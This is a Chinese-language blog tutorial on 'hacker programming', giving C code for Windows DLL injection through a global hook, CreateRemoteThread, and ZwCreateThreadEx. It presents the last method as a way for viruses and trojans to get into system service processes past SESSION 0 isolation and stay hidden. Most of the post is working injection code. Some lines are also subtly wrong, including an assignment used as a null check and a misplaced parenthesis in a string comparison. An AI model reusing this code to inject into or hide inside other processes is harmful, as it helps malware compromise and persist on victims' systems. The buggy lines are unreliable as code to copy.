• 黑客编程技术(二)注入技术


    全局钩子注入

    在Windows中大部分的应用程序都是基于消息机制的,它们都有一个消息过程函数,根据不同的消息完成不同的功能。

    Windows提供的钩子机制就是用来截获和监视系统中这些信息。

    按照钩子作用的范围不同,它们又可分为局部钩子与全局钩子。局部钩子是针对某个线程;而全局钩子则是作用于整个系统的基于消息的应用。

    全局钩子需要使用DLL文件,在DLL中实现相应的钩子函数。

    SetWindowsHookExA函数

    将应用程序定义的挂钩过程安装到挂钩链中。安装一个挂钩过程来监视系统中的某些类型的事件。这些事件与特定线程或与调用线程在同一桌面上的所有线程相关联。

    HHOOK SetWindowsHookExA(
      int       idHook,
      HOOKPROC  lpfn,
      HINSTANCE hmod,
      DWORD     dwThreadId
    );

     编程实现

    // 设置全局钩子
    BOOL SetGlobalHook()
    {
        g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
        if (NULL == g_hHook)
        {
            return FALSE;
        }
        return TRUE;
    }
    
    // 钩子回调函数
    LRESULT GetMsgProc(
        int code,
        WPARAM wParam,
        LPARAM lParam)
    {
        return ::CallNextHookEx(g_hHook, code, wParam, lParam);
    }
    
    // 卸载钩子
    BOOL UnsetGlobalHook()
    {
        if (g_hHook)
        {
            ::UnhookWindowsHookEx(g_hHook);
        }
        return TRUE;
    }
    
    // 共享内存
    #pragma data_seg("mydata")
        HHOOK g_hHook = NULL;
    #pragma data_seg()
    #pragma comment(linker, "/SECTION:mydata,RWS")

    主要通过调用SetWindowsHookEx函数设置全局钩子,完成DLL注入。通过调用CallNextHookEx函数传递钩子,让进程继续运行。通过调用UnhookWindowsHookEx函数卸载钩子,实现DLL释放。

    在调用SetWindowsHookEx函数设置全局钩子的时候,一定要将钩子回调函数编写在DLL模块当中,并指定该DLL模块的句柄。

    通过在DLL中通过#pragma data_seg()指令创建共享内存,那么,加载了该DLL的进程,共享一块内存,只要其中一个进程修改了内存区域的数据,其他进程对应内存区域的数据也会改变。

     远程线程注入

    远程线程注入DLL,使用关键函数CreateRemoteThread来在其他进程空间中创建了一个线程。

    首先,程序在加载一个DLL时,通常调用LoadLibrary函数来实现DLL的动态加载。

    有些系统DLL的加载基地址,要求系统启动之后必须固定,如果系统重新启动,则地址可以不同。

    虽然进程不同,但是开机后,kernel32.dll的加载基址在各个进程都是相同的,因此导出函数的地址也相同。所以,自己程序空间的LoadLibrary函数地址与其他进程空间的LoadLibrary函数地址相同。

    整个远程线程注入的流程可以分为

    ①先获取注入目标进程的PID以及注入目标进程的句柄。

    ②根据DLL名称大小在目标进程中分配内存空间。

    ③将DLL名称写入内存空间当中。

    ④获取kernel32.dll的句柄以及LoadLibrary函数的地址。

    ⑤调用CreateRemoteThread进行远程线程注入。

    编程实现

    //获取进程ID
    DWORD GetProId(char* szProcessname)
    {
        BOOL bRet;
        PROCESSENTRY32 pe32;
        HANDLE hSnap;
        hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
        pe32.dwSize=sizeof(pe32);
        bRet = Process32First(hSnap, &pe32);
        while (bRet)
        {
            if (lstrcmp(strupr(pe32.szExeFile),strupr(szProcessname)==0)
            {
                return pe32.th32ProcessID;
            }
            else
            {
                bRet = Process32Next(hSnap, &pe32);
            }
        }
        return 0;
    }
    
    //注入过程
    BOOL LoadDll(DWORD dwProcessId,char* szDllName)
    {
        BOOL bet;
        hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (hProcess == NULL)
        {
            printf("获取进程句柄失败");
            return FALSE;
        }
        dwLength = strlen(szDllName)+1;
        lpAddr = VirtualAllocEx(hProcess,NULL,dwLength,MEM_COMMIT,PAGE_READWRITE);
        if (lpAddr = NULL)
        {
            printf("为DLL名称分配空间失败");
            return FALSE;
        }
        bet = WriteProcessMemory(hProcess, lpAddr, szDllName, dwLength, NULL);
        if (bet == FALSE)
        {
            printf("DLL名称写入进程失败");
            return FALSE;
        }
        hmodule = GetModuleHandle("kernel32.dll");
        if (hmodule == NULL)
        {
            printf("获取模块句柄失败");
            return FALSE;
        }
        dwLoadAddr = (DWORD)GetProcAddress(hmodule, "LoadLibraryA");
        hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)dwLoadAddr,lpAddr, 0, NULL);
        if (hThread == NULL)
        {
            printf("创建远程线程失败");
            return FALSE;
        }
        CloseHandle(hThread);
        CloseHandle(hProcess);
        return TRUE;
    }

    如果利用上述代码去对一些系统服务进程进行注入,会发现注入失败。原因是系统存在SESSION 0 隔断的安全机制,传统的远程线程注入DLL方法并不能突破隔离。

    突破SESSION 0 隔离的远程线程注入

    病毒木马使用传统的远程线程注入技术,可以成功向一些普通的用户进程注入DLL,但向一些关键的系统服务进程注入的话,会使自己更加隐蔽,难以发现。

    直接调用ZwCreateThreadEx函数可以进行远程线程注入,还可以突破SESSION 0隔离。

    ZwCreateThreadEx函数

    DWORD WINAPI ZwCreateThreadEx(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            BOOL CreateSuspended,
            DWORD dwStackSize,
            DWORD dw1,
            DWORD dw2,
            LPVOID pUnkown);

    编码实现

    // 使用 ZwCreateThreadEx 实现远线程注入
    BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char *pszDllFileName)
    {
        HANDLE hProcess = NULL;
        SIZE_T dwSize = 0;
        LPVOID pDllAddr = NULL;
        FARPROC pFuncProcAddr = NULL;
        HANDLE hRemoteThread = NULL;
        DWORD dwStatus = 0;
        // 打开注入进程,获取进程句柄
        hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (NULL == hProcess)
        {
            ShowError("OpenProcess");
            return FALSE;
        }
        // 在注入进程中申请内存
        dwSize = 1 + ::lstrlen(pszDllFileName);
        pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
        if (NULL == pDllAddr)
        {
            ShowError("VirtualAllocEx");
            return FALSE;
        }
        // 向申请的内存中写入数据
        if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
        {
            ShowError("WriteProcessMemory");
            return FALSE;
        }
        // 加载 ntdll.dll
        HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
        if (NULL == hNtdllDll)
        {
            ShowError("LoadLirbary");
            return FALSE;
        }
        // 获取LoadLibraryA函数地址
        pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
        if (NULL == pFuncProcAddr)
        {
            ShowError("GetProcAddress_LoadLibraryA");
            return FALSE;
        }
        // 获取ZwCreateThread函数地址
    #ifdef _WIN64
        typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            ULONG CreateThreadFlags,
            SIZE_T ZeroBits,
            SIZE_T StackSize,
            SIZE_T MaximumStackSize,
            LPVOID pUnkown);
    #else
        typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            BOOL CreateSuspended,
            DWORD dwStackSize,
            DWORD dw1,
            DWORD dw2,
            LPVOID pUnkown);
    #endif
        typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
        if (NULL == ZwCreateThreadEx)
        {
            ShowError("GetProcAddress_ZwCreateThread");
            return FALSE;
        }
        // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
        dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
        if (NULL == hRemoteThread)
        {
            ShowError("ZwCreateThreadEx");
            return FALSE;
        }
        // 关闭句柄
        ::CloseHandle(hProcess);
        ::FreeLibrary(hNtdllDll);
        return TRUE;
    }
  • 相关阅读:
    /etc/sysctl.conf 控制内核相关配置文件
    python 并发编程 非阻塞IO模型
    python 并发编程 多路复用IO模型
    python 并发编程 异步IO模型
    python 并发编程 阻塞IO模型
    python 并发编程 基于gevent模块 协程池 实现并发的套接字通信
    python 并发编程 基于gevent模块实现并发的套接字通信
    python 并发编程 io模型 目录
    python 并发编程 socket 服务端 客户端 阻塞io行为
    python 并发编程 IO模型介绍
  • 原文地址:https://www.cnblogs.com/Virus-Faker/p/13163263.html
Copyright © 2020-2023  润新知